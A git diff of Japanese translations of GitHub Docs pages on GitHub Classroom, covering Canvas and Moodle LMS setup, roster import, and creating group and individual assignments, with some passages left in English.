+## Canvasを設定する
 
-You can configure {% data variables.product.prodname_classroom %} as an external app for Canvas to import roster data into your classroom. For more information about Canvas, see the [Canvas website](https://www.instructure.com/canvas/).
+{% data variables.product.prodname_classroom %}をCanvasの外部アプリケーションとして設定し、クラスルームに名簿データをインポートできます。 Canvasに関する詳細は、[Canvasのウェブサイト](https://www.instructure.com/canvas/)を参照してください。
 
-1. Sign into [Canvas](https://www.instructure.com/canvas/#login).
-1. Select the Canvas course to integrate with {% data variables.product.prodname_classroom %}.
-1. In the left sidebar, click **Settings**.
-1. Click the **Apps** tab.
-1. Click **View app configurations**.
-1. Click **+App**.
-1. Select the **Configuration Type** drop-down menu, and click **By URL**.
-1. Paste the configuration credentials from {% data variables.product.prodname_classroom %}. For more information, see "[Generating configuration credentials for your classroom](#generating-configuration-credentials-for-your-classroom)."
+1. [Canvas](https://www.instructure.com/canvas/#login)にサインインします。
+1. {% data variables.product.prodname_classroom %}と連携するCanvasのコースを選択します。
+1. 左のサイドバーで、**Settings（設定）**をクリックしてください。
+1. [**Apps**] タブをクリックします。
+1. [**View app configurations**] をクリックします。
+1. [**+App**] をクリックします。
+1. [**Configuration Type**] ドロップダウンメニューで、[**By URL**] をクリックします。
+1. {% data variables.product.prodname_classroom %}からコピーした構成認証情報を貼り付けます。 詳しい情報については、「[クラスルームの構成認証情報を生成する](#generating-configuration-credentials-for-your-classroom)」を参照してください。
 
-    | Field in Canvas app configuration | Value or setting |
-    | :- | :- |
-    | **Consumer Key** | Consumer key from {% data variables.product.prodname_classroom %} |
-    | **Shared Secret** | Shared secret from {% data variables.product.prodname_classroom %} |
-    | **Allow this tool to access the IMS Names and Role Provisioning Service** | Enabled |
-    | **Configuration URL** | Launch URL from {% data variables.product.prodname_classroom %} |
+    | Canvasアプリケーション構成のフィールド                                                    | 値または設定                                                          |
+    |:------------------------------------------------------------------------- |:--------------------------------------------------------------- |
+    | **Consumer Key**                                                          | {% data variables.product.prodname_classroom %}からのConsumer key  |
+    | **Shared Secret**                                                         | {% data variables.product.prodname_classroom %}からのShared secret |
+    | **Allow this tool to access the IMS Names and Role Provisioning Service** | 有効                                                              |
+    | **Configuration URL**                                                     | {% data variables.product.prodname_classroom %}からのLaunch URL    |
 
     {% note %}
 
-    **Note**: If you don't see a checkbox in Canvas labeled "Allow this tool to access the IMS Names and Role Provisioning Service", then your Canvas administrator must contact Canvas support to enable membership service configuration for your Canvas account. Without enabling this feature, you won't be able to sync the roster from Canvas. For more information, see [How do I contact Canvas Support?](https://community.canvaslms.com/t5/Canvas-Basics-Guide/How-do-I-contact-Canvas-Support/ta-p/389767) on the Canvas website.
+    **注釈**: [Allow this tool to access the IMS Names and Role Provisioning Service] というラベルのチェックボックスがCanvasで表示されていない場合、Canvasの管理者がCanvasサポートに連絡し、お使いのCanvasアカウントでメンバーシップサービス設定を有効化する必要があります。 この機能を有効化しないと、Canvasから名簿を同期できません。 詳しい情報については、Canvasウェブサイトの[How do I contact Canvas Support? (Canvasサポートに連絡する方法)](https://community.canvaslms.com/t5/Canvas-Basics-Guide/How-do-I-contact-Canvas-Support/ta-p/389767) を参照してください。
 
     {% endnote %}
 
-1. Click **Submit**.
-1. In the left sidebar, click **Home**.
-1. To prompt Canvas to send a confirmation email, in the left sidebar, click **GitHub Classroom**. Follow the instructions in the email to finish linking {% data variables.product.prodname_classroom %}.
+1. **Submit（サブミット）**をクリックしてください。
+1. 左のサイドバーで [**Home**] をクリックします。
+1. 左のサイドバーで [**GitHub Classroom**] をクリックし、Canvasが確認メールを送信するようにします。 メールの指示に従い、{% data variables.product.prodname_classroom %}との連携を完了します。
 
-## Configuring Moodle
+## Moodleを設定する
 
-You can configure {% data variables.product.prodname_classroom %} as an activity for Moodle to import roster data into your classroom. For more information about Moodle, see the [Moodle website](https://moodle.org).
+{% data variables.product.prodname_classroom %}をMoodleのアクティビティとして設定し、クラスルームに名簿データをインポートできます。 Moodleに関する詳細は、[Moodleのウェブサイト](https://moodle.org)を参照してください。
 
-You must be using Moodle version 3.0 or greater.
+Moodleのバージョンは3.0以上である必要があります。
 
-1. Sign into [Moodle](https://moodle.org/login/).
-1. Select the Moodle course to integrate with {% data variables.product.prodname_classroom %}.
-1. Click **Turn editing on**.
-1. Wherever you'd like {% data variables.product.prodname_classroom %} to be available in Moodle, click **Add an activity or resource**.
-1. Choose **External tool** and click **Add**.
-1. In the "Activity name" field, type "GitHub Classroom".
-1. In the **Preconfigured tool** field, to the right of the drop-down menu, click **+**.
-1. Under "External tool configuration", paste the configuration credentials from {% data variables.product.prodname_classroom %}. For more information, see "[Generating configuration credentials for your classroom](#generating-configuration-credentials-for-your-classroom)."
+1. [Moodle](https://moodle.org/login/)にサインインします。
+1. {% data variables.product.prodname_classroom %}と連携するMoodleのコースを選択します。
+1. [**Turn editing on**] をクリックします。
+1. Moodleで{% data variables.product.prodname_classroom %}を使用するところで、[**Add an activity or resource**] をクリックします。
+1. [**External tool**] を選択し、[**Add**] をクリックします。
+1. [Activity name] フィールドに、「GitHub Classroom」と入力します。
+1. [**Preconfigured tool**] フィールドで、ドロップダウンメニューの右にある [**+**] をクリックします。
+1. [External tool configuration] の下に、{% data variables.product.prodname_classroom %} からコピーしたした構成認証情報を貼り付けます。 詳しい情報については、「[クラスルームの構成認証情報を生成する](#generating-configuration-credentials-for-your-classroom)」を参照してください。
 
-    | Field in Moodle app configuration | Value or setting |
-    | :- | :- |
-    | **Tool name** | {% data variables.product.prodname_classroom %} - _YOUR CLASSROOM NAME_<br/><br/>**Note**: You can use any name, but we suggest this value for clarity. |
-    | **Tool URL** | Launch URL from {% data variables.product.prodname_classroom %} |
-    | **LTI version** | LTI 1.0/1.1 |
-    | **Default launch container** | New window |
-    | **Consumer key** | Consumer key from {% data variables.product.prodname_classroom %} |
-    | **Shared secret** | Shared secret from {% data variables.product.prodname_classroom %} |
+    | Moodleアプリケーション設定のフィールド       | 値または設定                                                                                                                            |
+    |:---------------------------- |:--------------------------------------------------------------------------------------------------------------------------------- |
+    | **Tool name**                | {% data variables.product.prodname_classroom %} - _あなたのクラスルーム名_<br/><br/>**注釈**: 任意の名前を設定できますが、わかりやすいよう、この値をお勧めします。 |
+    | **Tool URL**                 | {% data variables.product.prodname_classroom %}からのLaunch URL                                                                      |
+    | **LTI version**              | LTI 1.0/1.1                                                                                                                       |
+    | **Default launch container** | 新規ウィンドウ                                                                                                                           |
+    | **Consumer key**             | {% data variables.product.prodname_classroom %}からのConsumer key                                                                    |
+    | **共有シークレット**                 | {% data variables.product.prodname_classroom %}からのShared secret                                                                   |
 
-1. Scroll to and click **Services**.
-1. To the right of "IMS LTI Names and Role Provisioning", select the drop-down menu and click **Use this service to retrieve members' information as per privacy settings**.
-1. Scroll to and click **Privacy**.
-1. To the right of **Share launcher's name with tool** and **Share launcher's email with tool**, select the drop-down menus to click **Always**.
-1. At the bottom of the page, click **Save changes**.
-1. In the **Preconfigure tool** menu, click **GitHub Classroom - _YOUR CLASSROOM NAME_**.
-1. Under "Common module settings", to the right of "Availability", select the drop-down menu and click **Hide from students**.
-1. At the bottom of the page, click **Save and return to course**.
-1. Navigate to anywhere you chose to display {% data variables.product.prodname_classroom %}, and click the {% data variables.product.prodname_classroom %} activity.
+1. [**Services**] までスクロールしてクリックします。
+1. [IMS LTI Names and Role Provisioning] の右にあるドロップダウンメニューを選択し、[**Use this service to retrieve members' information as per privacy settings**] をクリックします。
+1. [**Privacy**] までスクロールしてクリックします。
+1. [**Share launcher's name with tool**] と [**Share launcher's email with tool**] の右にあるドロップダウンメニューをそれぞれ選択し、[**Always**] をクリックします。
+1. ページの下部で**Save changes（変更の保存）**をクリックしてください。
+1. [**Preconfigure tool**] メニューで、[**GitHub Classroom - _あなたのクラスルーム名_**] をクリックします。
+1. [Common module settings] で、[Availability] の右にあるドロップダウンメニューを選択し、[**Hide from students**] をクリックします。
+1. ページの下部で、[**Save and return to course**] をクリックします
+1. {% data variables.product.prodname_classroom %} を表示したい場所に移動し、{% data variables.product.prodname_classroom %}アクティビティをクリックします。
 
-## Importing a roster from your LMS
+## LMSから名簿をインポートする
 
-For more information about importing the roster from your LMS into {% data variables.product.prodname_classroom %}, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)."
+LMSから{% data variables.product.prodname_classroom %}への名簿のインポートに関する詳細については、「[クラスルームの管理](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)」を参照してください。
 
-## Disconnecting your LMS
+## LMSを切断する
 
 {% data reusables.classroom.sign-into-github-classroom %}
 {% data reusables.classroom.click-classroom-in-list %}
 {% data reusables.classroom.click-settings %}
-1. Under "Connect to a learning management system (LMS)", click **Connection Settings**.
-  !["Connection settings" link in classroom settings](/assets/images/help/classroom/classroom-settings-click-connection-settings.png)
-1. Under "Delete Connection to your learning management system", click **Disconnect from your learning management system**.
-  !["Disconnect from your learning management system" button in connection settings for classroom](/assets/images/help/classroom/classroom-settings-click-disconnect-from-your-lms-button.png)
+1. [Connect to a learning management system (LMS)] の下にある、[**Connection Settings**] をクリックします。 ![クラスルーム設定の [Connection settings]](/assets/images/help/classroom/classroom-settings-click-connection-settings.png)
+1. [Delete Connection to your learning management system] の下にある、[**Disconnect from your learning management system**] をクリックします。 ![クラスルームへの接続設定にある [Disconnect from your learning management system] ボタン](/assets/images/help/classroom/classroom-settings-click-disconnect-from-your-lms-button.png)
diff --git a/translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md b/translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md
index 7654c97ba3..6f41c345fc 100644
--- a/translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md
+++ b/translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md
@@ -1,114 +1,115 @@
 ---
-title: Create a group assignment
-intro: You can create a collaborative assignment for teams of students who participate in your course.
+title: グループ課題の作成
+intro: コースに参加している学生のTeamのために、共同課題を作成できます。
 versions:
   fpt: '*'
-permissions: Organization owners who are admins for a classroom can create and manage group assignments for a classroom. {% data reusables.classroom.classroom-admins-link %}
+permissions: 'Organization owners who are admins for a classroom can create and manage group assignments for a classroom. {% data reusables.classroom.classroom-admins-link %}'
 redirect_from:
   - /education/manage-coursework-with-github-classroom/create-group-assignments
   - /education/manage-coursework-with-github-classroom/create-a-group-assignment
 ---
-## About group assignments
 
-{% data reusables.classroom.assignments-group-definition %} Students can work together on a group assignment in a shared repository, like a team of professional developers.
+## グループ課題について
 
-When a student accepts a group assignment, the student can create a new team or join an existing team. {% data variables.product.prodname_classroom %} saves the teams for an assignment as a set. You can name the set of teams for a specific assignment when you create the assignment, and you can reuse that set of teams for a later assignment.
+{% data reusables.classroom.assignments-group-definition %}学生は、プロフェッショナルな開発者チームと同じように、共有リポジトリでグループ課題に協力して取り組むことができます。
+
+グループ課題を受け入れた学生は、新しいTeamを作成するか、既存のTeamに参加できます。 {% data variables.product.prodname_classroom %}は、課題のためのTeamをセットとして保存します。 課題を作成する際、特定の課題に対するTeamのセットに名前を付けることができます。また、後の課題でTeamのセットを再利用できます。
 
 {% data reusables.classroom.classroom-creates-group-repositories %}
 
 {% data reusables.classroom.about-assignments %}
 
-You can decide how many teams one assignment can have, and how many members each team can have. Each team that a student creates for an assignment is a team within your organization on {% data variables.product.product_name %}. The visibility of the team is secret. Teams that you create on {% data variables.product.product_name %} will not appear in {% data variables.product.prodname_classroom %}. For more information, see "[About teams](/organizations/organizing-members-into-teams/about-teams)."
+1つの課題に取り組むチームの数と、各Teamのメンバーの数を決めることができます。 学生が課題ために作成する各グループは、{% data variables.product.product_name %}のOrganization内のTeamです。 Teamの可視性はシークレットとなります。 {% data variables.product.product_name %}上で作成したTeamは、{% data variables.product.prodname_classroom %}では表示されません。 詳細は「[Team について](/organizations/organizing-members-into-teams/about-teams)」を参照してください。
 
-For a video demonstration of the creation of a group assignment, see "[Basics of setting up {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)."
+グループ課題作成の方法を説明する動画については、「[{% data variables.product.prodname_classroom %}の設定の基本](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)」を参照してください。
 
-## Prerequisites
+## 必要な環境
 
 {% data reusables.classroom.assignments-classroom-prerequisite %}
 
-## Creating an assignment
+## 課題を作成する
 
 {% data reusables.classroom.assignments-guide-create-the-assignment %}
 
-## Setting up the basics for an assignment
+## 課題の基本情報をセットアップする
 
-Name your assignment, decide whether to assign a deadline, define teams, and choose the visibility of assignment repositories.
+課題に名前を付け、期限を設定するか、Teamを定義するかを決定し、課題リポジトリの可視性を選択します。
 
-- [Naming an assignment](#naming-an-assignment)
-- [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment)
-- [Choosing an assignment type](#choosing-an-assignment-type)
-- [Defining teams for an assignment](#defining-teams-for-an-assignment)
-- [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories)
+- [課題に名前を付ける](#naming-an-assignment)
+- [課題に期限を設定する](#assigning-a-deadline-for-an-assignment)
+- [課題のタイプを選択する](#choosing-an-assignment-type)
+- [課題のTeamを定義する](#defining-teams-for-an-assignment)
+- [課題リポジトリの可視性を選択する](#choosing-a-visibility-for-assignment-repositories)
 
-### Naming an assignment
+### 課題に名前を付ける
 
-For a group assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the name of the team. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the team's name on {% data variables.product.product_name %} is "student-team", the name of the assignment repository for members of the team will be `assignment-1-student-team`.
+グループ課題では、{% data variables.product.prodname_classroom %}はリポジトリのプレフィックスとTeamの名前から、リポジトリに名前を付けます。 デフォルトでは、リポジトリのプレフィックスが課題のタイトルとなります。 たとえば、課題に「assignment-1」と名付け、{% data variables.product.product_name %}のチーム名が「student-team」である場合、そのTeamのメンバーの課題リポジトリ名は「`assignment-1-student-team`」となります。
 
 {% data reusables.classroom.assignments-type-a-title %}
 
-### Assigning a deadline for an assignment
+### 課題に期限を設定する
 
 {% data reusables.classroom.assignments-guide-assign-a-deadline %}
 
-### Choosing an assignment type
+### 課題のタイプを選択する
 
-Under "Individual or group assignment", select the drop-down menu, then click **Group assignment**. You can't change the assignment type after you create the assignment. If you'd rather create a individual assignment, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)."
+[Individual or group assignment] の下で、ドロップダウンメニューを選択し、[**Group assignment**] をクリックします。 課題の作成後は、課題タイプを変更できません。 個人課題を作成する場合は、「[個人課題の作成](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)」を参照してください。
 
-### Defining teams for an assignment
+### 課題のTeamを定義する
 
-If you've already created a group assignment for the classroom, you can reuse a set of teams for the new assignment. To create a new set with the teams that your students create for the assignment, type the name for the set. Optionally, type the maximum number of team members and total teams.
+すでにクラスルームに対してグループ課題を作成している場合は、新しい課題にTeamのセットを再利用できます。 学生が課題用に作成したTeamで新しいセットを作成するには、そのセットの名前を入力します。 必要に応じて、Teamメンバーと合計チーム数の上限を入力してください。
 
 {% tip %}
 
-**Tips**:
+**ヒント**:
 
-- We recommend including details about the set of teams in the name for the set. For example, if you want to use the set of teams for one assignment, name the set after the assignment. If you want to reuse the set throughout a semester or course, name the set after the semester or course.
+- セットの名前には、Teamのセットについの情報を含めることをお勧めします。 たとえば、1つの課題用にTeamのセットを使う場合は、その課題にちなんだ名前を付けます。 学期またはコースを通じてセットを再利用する場合は、学期またはコースにちなんだ名前を付けます。
 
-- If you'd like to assign students to a specific team, give your students a name for the team and provide a list of members.
+- 特定のTeamに学生を割り当てる場合は、学生にTeamの名前を伝え、メンバーのリストを提供します。
 
 {% endtip %}
 
-![Parameters for the teams participating in a group assignment](/assets/images/help/classroom/assignments-define-teams.png)
+![グループ課題に参加するチームのパラメータ](/assets/images/help/classroom/assignments-define-teams.png)
 
-### Choosing a visibility for assignment repositories
+### 課題リポジトリの可視性を選択する
 
 {% data reusables.classroom.assignments-guide-choose-visibility %}
 
 {% data reusables.classroom.assignments-guide-click-continue-after-basics %}
 
-## Adding starter code and configuring a development environment
+## スターターコードを追加し、開発環境を構成する
 
 {% data reusables.classroom.assignments-guide-intro-for-environment %}
 
-- [Choosing a template repository](#choosing-a-template-repository)
+- [テンプレートリポジトリを作成する](#choosing-a-template-repository)
 - [Choosing an integrated development environment (IDE)](#choosing-an-integrated-development-environment-ide)
 
-### Choosing a template repository
+### テンプレートリポジトリを作成する
 
-By default, a new assignment will create an empty repository for each team that a student creates. {% data reusables.classroom.you-can-choose-a-template-repository %} 
+デフォルトでは、新しい課題では学生が作成した各Teamに対し、空のリポジトリが作成されます。 {% data reusables.classroom.you-can-choose-a-template-repository %}
 
 {% data reusables.classroom.assignments-guide-choose-template-repository %}
 
 ### Choosing an integrated development environment (IDE)
 
-{% data reusables.classroom.about-online-ides %} For more information, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)."
+{% data reusables.classroom.about-online-ides %}詳しい情報については、「[{% data variables.product.prodname_classroom %} と IDE の統合](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)」を参照してください。
 
 {% data reusables.classroom.assignments-guide-choose-an-online-ide %}
 
 {% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %}
 
-## Providing feedback
+## フィードバックを提供する
 
-Optionally, you can automatically grade assignments and create a space for discussing each submission with the team.
+必要に応じて、課題を自動的に採点し、各提出物をTeamで議論するための場を作成できます。
 
-- [Testing assignments automatically](#testing-assignments-automatically)
-- [Creating a pull request for feedback](#creating-a-pull-request-for-feedback)
+- [課題を自動的にテストする](#testing-assignments-automatically)
+- [フィードバックのためにプルリクエストを作成する](#creating-a-pull-request-for-feedback)
 
-### Testing assignments automatically
+### 課題を自動的にテストする
 
 {% data reusables.classroom.assignments-guide-using-autograding %}
 
-### Creating a pull request for feedback
+### フィードバックのためにプルリクエストを作成する
 
 {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %}
 
@@ -116,26 +117,36 @@ Optionally, you can automatically grade assignments and create a space for discu
 
 {% data reusables.classroom.assignments-guide-click-create-assignment-button %}
 
-## Inviting students to an assignment
+## 学生を課題に招待する
 
 {% data reusables.classroom.assignments-guide-invite-students-to-assignment %}
 
-You can see the teams that are working on or have submitted an assignment in the **Teams** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %}
+課題の [**Teams**] タブで、課題に取り組んでいるTeamや課題を提出したTeamを表示できます。 {% data reusables.classroom.assignments-to-prevent-submission %}
 
 <div class="procedural-image-wrapper">
-  <img alt="Group assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-group-hero.png">
+  <img alt="グループ課題" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-group-hero.png">
 </div>
 
-## Next steps
+## Monitoring students' progress
+The assignment overview page displays information about your assignment acceptances and team progress. You may have different summary information based on the configurations of your assignments.
 
-- After you create the assignment and your students form teams, team members can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and the team can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Repositories](/repositories)," "[Using Git](/github/getting-started-with-github/using-git)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)," and the free course on [managing merge conflicts](https://lab.github.com/githubtraining/managing-merge-conflicts) from {% data variables.product.prodname_learning %}.
+- **Total teams**: The number of teams that have been created.
+- **Rostered students**: The number of students on the Classroom's roster.
+- **Students not on a team**: The number of students on the Classroom roster who have not yet joined a team.
+-  **Accepted teams**: The number of teams who have accepted this assignment.
+-  **Assignment submissions**: The number of teams that have submitted the assignment. Submission is triggered at the assignment deadline.
+-  **Passing teams**: The number of teams that are currently passing the autograding tests for this assignment.
 
-- When a team finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand how the team collaborated. For more information, see "[Visualizing repository data with graphs](/github/visualizing-repository-data-with-graphs)."
+## 次のステップ
 
-- You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see "[Commenting on a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)" and "[Opening an issue from code](/github/managing-your-work-on-github/opening-an-issue-from-code)." For more information about creating saved replies to provide feedback for common errors, see "[About saved replies](/github/writing-on-github/about-saved-replies)."
+- 課題を作成し、学生がTeamを編成した後、TeamメンバーはGitと{% data variables.product.product_name %}の機能を使用して課題を開始できます。 学生はリポジトリのクローン、コミットのプッシュ、ブランチの管理、プルリクエストの作成およびレビュー、マージコンフリクトへの対処、およびIssueの変更に関するディスカッションが可能です。 あなたもTeamも、リポジトリのコミット履歴をレビューできます。 For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Repositories](/repositories)," "[Using Git](/github/getting-started-with-github/using-git)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)," and the free course on [managing merge conflicts](https://lab.github.com/githubtraining/managing-merge-conflicts) from {% data variables.product.prodname_learning %}.
 
-## Further reading
+- 課題を完了したチームがある場合は、そのリポジトリにあるファイルをレビューできます。また、チームがどのように協力したかをより深く理解するため、リポジトリの履歴や視覚化されたデータを確認できます。 詳しい情報については、「[リポジトリデータをグラフで可視化する](/github/visualizing-repository-data-with-graphs)」を参照してください。
 
-- "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research)"
-- "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)"
-- [Using Existing Teams in Group Assignments?](https://education.github.community/t/using-existing-teams-in-group-assignments/6999) in the {% data variables.product.prodname_education %} Community
+- プルリクエストの内の個々のコミットや行にコメントすることで、課題にフィードバックを行うことができます。 詳しい情報については、「[プルリクエストへコメントする](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)」および「[コードから Issue を開く](/github/managing-your-work-on-github/opening-an-issue-from-code)」を参照してください。 一般的なエラーに対するフィードバックを行うための、返信テンプレートの作成に関する詳しい情報については、「[返信テンプレートについて](/github/writing-on-github/about-saved-replies)」を参照してください。
+
+## 参考リンク
+
+- 「[教室や研究で{% data variables.product.prodname_dotcom %}を使う](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research)」
+- 「[学習管理システムを{% data variables.product.prodname_classroom %}に接続する](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)」
+- {% data variables.product.prodname_education %} Communityの、[Using Existing Teams in Group Assignments? (グループ課題における既存チームの使用)](https://education.github.community/t/using-existing-teams-in-group-assignments/6999)
diff --git a/translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md b/translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md
index 085d2558c4..6c0f115e29 100644
--- a/translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md
+++ b/translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md
@@ -1,15 +1,16 @@
 ---
-title: Create an individual assignment
-intro: You can create an assignment for students in your course to complete individually.
+title: 個人課題の作成
+intro: コースにおいて、個人で修了するための課題を学生のために作成できます。
 versions:
   fpt: '*'
-permissions: Organization owners who are admins for a classroom can create and manage individual assignments for a classroom. {% data reusables.classroom.classroom-admins-link %}
+permissions: 'Organization owners who are admins for a classroom can create and manage individual assignments for a classroom. {% data reusables.classroom.classroom-admins-link %}'
 redirect_from:
   - /education/manage-coursework-with-github-classroom/creating-an-individual-assignment
   - /education/manage-coursework-with-github-classroom/create-an-individual-assignment
-shortTitle: Individual assignment
+shortTitle: 個人課題
 ---
-## About individual assignments
+
+## 個人課題について
 
 {% data reusables.classroom.assignments-individual-definition %}
 
@@ -17,55 +18,55 @@ shortTitle: Individual assignment
 
 {% data reusables.classroom.about-assignments %}
 
-For a video demonstration of the creation of an individual assignment, see "[Basics of setting up {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)."
+個人課題作成の方法を説明する動画については、「[{% data variables.product.prodname_classroom %}の設定の基本](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)」を参照してください。
 
-## Prerequisites
+## 必要な環境
 
 {% data reusables.classroom.assignments-classroom-prerequisite %}
 
-## Creating an assignment
+## 課題を作成する
 
 {% data reusables.classroom.assignments-guide-create-the-assignment %}
 
-## Setting up the basics for an assignment
+## 課題の基本情報をセットアップする
 
-Name your assignment, decide whether to assign a deadline, and choose the visibility of assignment repositories.
+課題に名前を付け、期限を設定するかを決定し、課題リポジトリの可視性を選択します。
 
-- [Naming an assignment](#naming-an-assignment)
-- [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment)
-- [Choosing an assignment type](#choosing-an-assignment-type)
-- [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories)
+- [課題に名前を付ける](#naming-an-assignment)
+- [課題に期限を設定する](#assigning-a-deadline-for-an-assignment)
+- [課題のタイプを選択する](#choosing-an-assignment-type)
+- [課題リポジトリの可視性を選択する](#choosing-a-visibility-for-assignment-repositories)
 
-### Naming an assignment
+### 課題に名前を付ける
 
-For an individual assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the student's {% data variables.product.product_name %} username. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the student's username on {% data variables.product.product_name %} is @octocat, the name of the assignment repository for @octocat will be `assignment-1-octocat`.
+個人課題では、{% data variables.product.prodname_classroom %}はリポジトリのプレフィックスと学生の{% data variables.product.product_name %}ユーザ名から、リポジトリに名前を付けます。 デフォルトでは、リポジトリのプレフィックスが課題のタイトルとなります。 たとえば、課題に「assignment-1」と名付け、学生の{% data variables.product.product_name %}ユーザ名が「@octocat」である場合、「@octocat」の課題リポジトリ名は「`assignment-1-octocat`」となります。
 
 {% data reusables.classroom.assignments-type-a-title %}
 
-### Assigning a deadline for an assignment
+### 課題に期限を設定する
 
 {% data reusables.classroom.assignments-guide-assign-a-deadline %}
 
-### Choosing an assignment type
+### 課題のタイプを選択する
 
-Under "Individual or group assignment", select the drop-down menu, and click **Individual assignment**. You can't change the assignment type after you create the assignment. If you'd rather create a group assignment, see "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)."
+[Individual or group assignment] の下で、ドロップダウンメニューを選択し、[**Individual assignment**] をクリックします。 課題の作成後は、課題タイプを変更できません。 グループ課題を作成する場合は、[グループ課題の作成](/education/manage-coursework-with-github-classroom/create-a-group-assignment)」を参照してください。
 
-### Choosing a visibility for assignment repositories
+### 課題リポジトリの可視性を選択する
 
 {% data reusables.classroom.assignments-guide-choose-visibility %}
 
 {% data reusables.classroom.assignments-guide-click-continue-after-basics %}
 
-## Adding starter code and configuring a development environment
+## スターターコードを追加し、開発環境を構成する
 
 {% data reusables.classroom.assignments-guide-intro-for-environment %}
 
-- [Choosing a template repository](#choosing-a-template-repository)
+- [テンプレートリポジトリを作成する](#choosing-a-template-repository)
 - [Choosing an integrated development environment (IDE)](#choosing-an-integrated-development-environment-ide)
 
-### Choosing a template repository
+### テンプレートリポジトリを作成する
 
-By default, a new assignment will create an empty repository for each student on the roster for the classroom. {% data reusables.classroom.you-can-choose-a-template-repository %}
+デフォルトでは、新しい課題ではクラスルームの名簿に掲載されている各学生に対し、空のリポジトリが作成されます。 {% data reusables.classroom.you-can-choose-a-template-repository %}
 
 {% data reusables.classroom.assignments-guide-choose-template-repository %}
 
@@ -73,22 +74,22 @@ By default, a new assignment will create an empty repository for each student on
 
 ### Choosing an integrated development environment (IDE)
 
-{% data reusables.classroom.about-online-ides %} For more information, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)."
+{% data reusables.classroom.about-online-ides %}詳しい情報については、「[{% data variables.product.prodname_classroom %} と IDE の統合](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)」を参照してください。
 
 {% data reusables.classroom.assignments-guide-choose-an-online-ide %}
 
-## Providing feedback for an assignment
+## 課題にフィードバックを行う
 
-Optionally, you can automatically grade assignments and create a space for discussing each submission with the student.
+必要に応じて、課題を自動的に採点し、各提出物を学生と議論するための場を作成できます。
 
-- [Testing assignments automatically](#testing-assignments-automatically)
-- [Creating a pull request for feedback](#creating-a-pull-request-for-feedback)
+- [課題を自動的にテストする](#testing-assignments-automatically)
+- [フィードバックのためにプルリクエストを作成する](#creating-a-pull-request-for-feedback)
 
-### Testing assignments automatically
+### 課題を自動的にテストする
 
 {% data reusables.classroom.assignments-guide-using-autograding %}
 
-### Creating a pull request for feedback
+### フィードバックのためにプルリクエストを作成する
 
 {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %}
 
@@ -96,25 +97,34 @@ Optionally, you can automatically grade assignments and create a space for discu
 
 {% data reusables.classroom.assignments-guide-click-create-assignment-button %}
 
-## Inviting students to an assignment
+## 学生を課題に招待する
 
 {% data reusables.classroom.assignments-guide-invite-students-to-assignment %}
 
-You can see whether a student has joined the classroom and accepted or submitted an assignment in the **All students** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %}
